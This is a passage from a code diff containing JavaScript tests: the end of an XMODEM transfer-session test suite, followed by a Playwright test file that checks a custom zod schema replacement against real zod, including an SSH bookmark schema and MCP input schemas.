const consumed = session.handleData(Buffer.from('hello'))
assert.equal(consumed, false)
})
it('handleData returns false for non-protocol data when session is IDLE after send', async () => {
const { session } = createMockSession()
// Full send cycle: start → send files → remote ACKs → EOT → reset
session.startSend()
const fs = require('fs')
const tmpFile = path.join(os.tmpdir(), `xmodem-test-idle-${Date.now()}.bin`)
fs.writeFileSync(tmpFile, Buffer.alloc(128, 0xDD))
session.setSendFiles([{ name: 'test.bin', path: tmpFile, size: 128 }])
session.handleData(Buffer.from([CRC])) // remote requests CRC
session.handleData(Buffer.from([ACK])) // remote ACKs packet → sendEot → resetState
// Session should be IDLE
assert.equal(session.state, XMODEM_STATE.IDLE)
// Normal terminal text should NOT be consumed (falls through to ws.send)
assert.equal(session.handleData(Buffer.from('hello\n')), false)
assert.equal(session.handleData(Buffer.from([0x0D])), false) // Enter key
try { fs.unlinkSync(tmpFile) } catch (e) {}
})
it('receive path resets state after EOT completion', async () => {
const { session, written, clientMessages } = createMockSession()
// Set up save path
session.setSavePath(os.tmpdir())
// Build a valid XMODEM-128 CRC packet: SOH + block 1 + ~block1 + 128 data + CRC16
const blockNum = 1
const data = Buffer.alloc(128, 0xCC)
const crc = crc16Xmodem(data)
const packet = Buffer.alloc(3 + 128 + 2)
packet[0] = SOH
packet[1] = blockNum
packet[2] = blockNum ^ 0xFF
data.copy(packet, 3)
packet[3 + 128] = (crc >> 8) & 0xFF
packet[3 + 128 + 1] = crc & 0xFF
// Send the data packet
session.handleData(packet)
assert.equal(session.state, XMODEM_STATE.RECEIVING)
// Send EOT (end of transmission)
session.handleData(Buffer.from([EOT]))
// After EOT, receive path should have reset state to IDLE
assert.equal(session.state, XMODEM_STATE.IDLE)
assert.equal(session.isActive(), false)
// Verify ACK was sent for EOT
const ackWritten = written.find(b => b.length === 1 && b[0] === ACK)
assert.ok(ackWritten, 'ACK should be sent for EOT')
// Verify session-end was sent to client
const sessionEndMsg = clientMessages.find(m => m.event === 'session-end')
assert.ok(sessionEndMsg, 'session-end should be sent after receive complete')
})
})
+300
View File
@@ -0,0 +1,300 @@
const { z } = require('../../src/app/lib/zod')
const zodOriginal = require('zod')
const {
test: it, expect
} = require('@playwright/test')
const { describe } = it
it.setTimeout(100000)
describe('custom zod replacement', function () {
describe('basic types', function () {
it('z.string() creates string schema', function () {
const schema = z.string()
expect(schema._typeName).toEqual('string')
expect(schema['~standard']).toBeTruthy()
})
it('z.number() creates number schema', function () {
const schema = z.number()
expect(schema._typeName).toEqual('number')
})
it('z.boolean() creates boolean schema', function () {
const schema = z.boolean()
expect(schema._typeName).toEqual('boolean')
})
it('z.any() creates any schema', function () {
const schema = z.any()
expect(schema._typeName).toEqual('any')
})
})
describe('.optional() and .describe()', function () {
it('.optional() marks schema as optional', function () {
const schema = z.string().optional()
expect(schema._optional).toEqual(true)
// Original should not be mutated
const original = z.string()
expect(original._optional).toEqual(false)
})
it('.describe() adds description', function () {
const schema = z.string().describe('A name')
expect(schema._description).toEqual('A name')
})
it('chaining .optional().describe() works', function () {
const schema = z.number().optional().describe('Optional port')
expect(schema._optional).toEqual(true)
expect(schema._description).toEqual('Optional port')
})
it('chaining .describe().optional() works', function () {
const schema = z.number().describe('Port').optional()
expect(schema._optional).toEqual(true)
expect(schema._description).toEqual('Port')
})
})
describe('z.enum()', function () {
it('creates enum schema', function () {
const schema = z.enum(['a', 'b', 'c'])
expect(schema._typeName).toEqual('enum')
expect(schema._meta.values).toEqual(['a', 'b', 'c'])
})
it('supports .optional().describe()', function () {
const schema = z.enum(['none', 'even']).optional().describe('Parity')
expect(schema._optional).toEqual(true)
expect(schema._description).toEqual('Parity')
})
})
describe('z.object()', function () {
it('creates object schema', function () {
const schema = z.object({
name: z.string(),
age: z.number().optional()
})
expect(schema._typeName).toEqual('object')
})
it('z.object({}) creates empty object schema', function () {
const schema = z.object({})
expect(schema._typeName).toEqual('object')
})
})
describe('z.array()', function () {
it('creates array schema', function () {
const schema = z.array(z.string())
expect(schema._typeName).toEqual('array')
})
it('supports .optional().describe()', function () {
const schema = z.array(z.string()).optional().describe('Tags')
expect(schema._optional).toEqual(true)
expect(schema._description).toEqual('Tags')
})
})
describe('z.record()', function () {
it('creates record schema with value type', function () {
const schema = z.record(z.any())
expect(schema._typeName).toEqual('record')
})
it('creates record schema with key and value types', function () {
const schema = z.record(z.string(), z.any())
expect(schema._typeName).toEqual('record')
})
})
describe('z.toJSONSchema() - comparison with real zod', function () {
it('converts simple string schema', function () {
const custom = z.toJSONSchema(z.object({ name: z.string() }))
const original = zodOriginal.z.toJSONSchema(
zodOriginal.z.object({ name: zodOriginal.z.string() })
)
expect(custom.type).toEqual('object')
expect(custom.properties.name.type).toEqual(original.properties.name.type)
expect(custom.required).toContain('name')
})
it('converts object with optional fields', function () {
const custom = z.toJSONSchema(z.object({
host: z.string(),
port: z.number().optional()
}))
expect(custom.type).toEqual('object')
expect(custom.properties.host.type).toEqual('string')
expect(custom.properties.port.type).toEqual('number')
expect(custom.required).toContain('host')
expect(custom.required).not.toContain('port')
})
it('converts enum schema', function () {
const custom = z.toJSONSchema(z.object({
parity: z.enum(['none', 'even', 'odd'])
}))
const original = zodOriginal.z.toJSONSchema(
zodOriginal.z.object({
parity: zodOriginal.z.enum(['none', 'even', 'odd'])
})
)
expect(custom.properties.parity.enum).toEqual(original.properties.parity.enum)
})
it('converts array schema', function () {
const custom = z.toJSONSchema(z.object({
tags: z.array(z.string()).optional()
}))
expect(custom.properties.tags.type).toEqual('array')
expect(custom.properties.tags.items.type).toEqual('string')
expect(custom.required || []).not.toContain('tags')
})
it('converts nested object schema', function () {
const inner = z.object({
command: z.string(),
delay: z.number().optional()
})
const custom = z.toJSONSchema(z.object({
scripts: z.array(inner).optional()
}))
expect(custom.properties.scripts.type).toEqual('array')
expect(custom.properties.scripts.items.type).toEqual('object')
expect(custom.properties.scripts.items.properties.command.type).toEqual('string')
})
it('converts record schema', function () {
const custom = z.toJSONSchema(z.object({
updates: z.record(z.any())
}))
expect(custom.properties.updates.type).toEqual('object')
expect(custom.properties.updates.additionalProperties).toBeTruthy()
})
it('handles descriptions', function () {
const custom = z.toJSONSchema(z.object({
host: z.string().describe('Host address'),
port: z.number().optional().describe('Port number')
}))
expect(custom.properties.host.description).toEqual('Host address')
expect(custom.properties.port.description).toEqual('Port number')
})
})
describe('z.toJSONSchema() - plain shape objects (MCP inputSchema pattern)', function () {
it('converts plain object with zod values', function () {
const inputSchema = {
tabId: z.string().describe('Tab ID to switch to')
}
const result = z.toJSONSchema(z.object(inputSchema))
expect(result.type).toEqual('object')
expect(result.properties.tabId.type).toEqual('string')
expect(result.properties.tabId.description).toEqual('Tab ID to switch to')
})
it('handles empty object', function () {
const result = z.toJSONSchema(z.object({}))
expect(result.type).toEqual('object')
})
it('handles null/undefined input', function () {
const result = z.toJSONSchema(null)
expect(result.type).toEqual('object')
})
})
describe('~standard marker compatibility', function () {
it('all schema types have ~standard property', function () {
expect(z.string()['~standard']).toBeTruthy()
expect(z.number()['~standard']).toBeTruthy()
expect(z.boolean()['~standard']).toBeTruthy()
expect(z.any()['~standard']).toBeTruthy()
expect(z.enum(['a'])['~standard']).toBeTruthy()
expect(z.object({})['~standard']).toBeTruthy()
expect(z.array(z.string())['~standard']).toBeTruthy()
expect(z.record(z.any())['~standard']).toBeTruthy()
})
it('optional/describe clones preserve ~standard', function () {
const schema = z.string().optional().describe('test')
expect(schema['~standard']).toBeTruthy()
})
})
describe('bookmark-zod-schemas compatibility', function () {
it('can build the full SSH bookmark schema and convert to JSON', function () {
const runScriptSchema = z.object({
delay: z.number().optional().describe('Delay in ms'),
script: z.string().describe('Command to execute')
})
const sshBookmarkSchema = {
title: z.string().describe('Bookmark title'),
host: z.string().describe('SSH host address'),
port: z.number().optional().describe('SSH port'),
username: z.string().optional().describe('SSH username'),
password: z.string().optional().describe('SSH password'),
authType: z.enum(['password', 'privateKey', 'profiles']).optional().describe('Auth type'),
runScripts: z.array(runScriptSchema).optional().describe('Run scripts'),
serverHostKey: z.array(z.string()).optional().describe('Server host key algorithms'),
x11: z.boolean().optional().describe('Enable x11 forwarding')
}
const jsonSchema = z.toJSONSchema(z.object(sshBookmarkSchema))
expect(jsonSchema.type).toEqual('object')
expect(jsonSchema.properties.title.type).toEqual('string')
expect(jsonSchema.properties.host.type).toEqual('string')
expect(jsonSchema.properties.port.type).toEqual('number')
expect(jsonSchema.properties.authType.enum).toEqual(['password', 'privateKey', 'profiles'])
expect(jsonSchema.properties.runScripts.type).toEqual('array')
expect(jsonSchema.properties.runScripts.items.properties.script.type).toEqual('string')
expect(jsonSchema.properties.serverHostKey.type).toEqual('array')
expect(jsonSchema.properties.serverHostKey.items.type).toEqual('string')
expect(jsonSchema.properties.x11.type).toEqual('boolean')
expect(jsonSchema.required).toContain('title')
expect(jsonSchema.required).toContain('host')
expect(jsonSchema.required).not.toContain('port')
expect(jsonSchema.required).not.toContain('x11')
})
})
describe('streamableHttp zodToJsonSchema compatibility', function () {
it('handles plain shape objects with ~standard check', function () {
const inputSchema = {
tabId: z.string().describe('Tab ID'),
lines: z.number().optional().describe('Number of lines')
}
// This mimics the check in streamableHttp.js
const hasZodStandard = Object.values(inputSchema).some(
v => v && typeof v === 'object' && '~standard' in v
)
expect(hasZodStandard).toEqual(true)
// Wrap in z.object and convert
const zodObject = z.object(
Object.fromEntries(
Object.entries(inputSchema).map(([key, value]) => [key, value])
)
)
const jsonSchema = z.toJSONSchema(zodObject)
expect(jsonSchema.type).toEqual('object')
expect(jsonSchema.properties.tabId.type).toEqual('string')
expect(jsonSchema.properties.lines.type).toEqual('number')
})
it('handles z.object({}) inputSchema', function () {
const inputSchema = z.object({})
const hasStandard = '~standard' in inputSchema
expect(hasStandard).toEqual(true)
const jsonSchema = z.toJSONSchema(inputSchema)
expect(jsonSchema.type).toEqual('object')
})
})
})